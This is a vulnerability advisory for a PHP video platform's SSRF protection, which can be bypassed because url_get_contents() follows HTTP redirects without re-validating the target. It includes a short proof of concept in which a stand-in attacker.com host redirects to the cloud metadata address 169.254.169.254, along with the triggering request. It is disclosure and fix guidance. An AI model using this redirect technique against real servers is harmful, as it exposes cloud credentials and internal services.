PHP EUVD-2026-16652

Summary

isSSRFSafeURL() validates URLs against private/reserved IP ranges before fetching, but url_get_contents() follows HTTP redirects without re-validating the redirect target. An attacker can bypass SSRF protection by redirecting from a public URL to an internal target.

Root Cause

Check-time: isSSRFSafeURL() at objects/functions.php:4066 resolves the hostname and validates the IP.

Use-time: url_get_contents() at objects/functions.php:1990 calls file_get_contents() with PHP's default follow_location=1 - redirects are followed without re-validation. The wget fallback at line 2047 also follows redirects by default.

Affected endpoint: objects/aVideoEncoderReceiveImage.json.php at lines 67-68, 107-108, 135-136, 160-161:

if (isValidURL($_REQUEST['downloadURL_image']) && isSSRFSafeURL($_REQUEST['downloadURL_image'])) {
    $content = url_get_contents($_REQUEST['downloadURL_image']);

Proof of Concept

1. Attacker sets up https://attacker.com/redir to respond with 302 Location: http://169.254.169.254/latest/meta-data/
2. Authenticated user (with upload+edit permissions) triggers image download:

GET /objects/aVideoEncoderReceiveImage.json.php?downloadURL_image=https://attacker.com/redir&...

1. isSSRFSafeURL() resolves attacker.com → public IP → passes validation
2. url_get_contents() follows 302 redirect to 169.254.169.254 → SSRF

Impact

• Cloud metadata access (AWS IMDSv1, GCP, Azure)
• Internal network service access
• Bypasses the existing SSRF protection that was added to prevent exactly this class of attack

Note

The curl path in url_get_contents() does NOT set CURLOPT_FOLLOWLOCATION so it is not affected. Only the file_get_contents and wget fallback paths are vulnerable.

Suggested Fix

Set follow_location to 0 in the stream context and handle redirects manually with re-validation, or add isSSRFSafeURL() check inside url_get_contents() after resolving the final URL.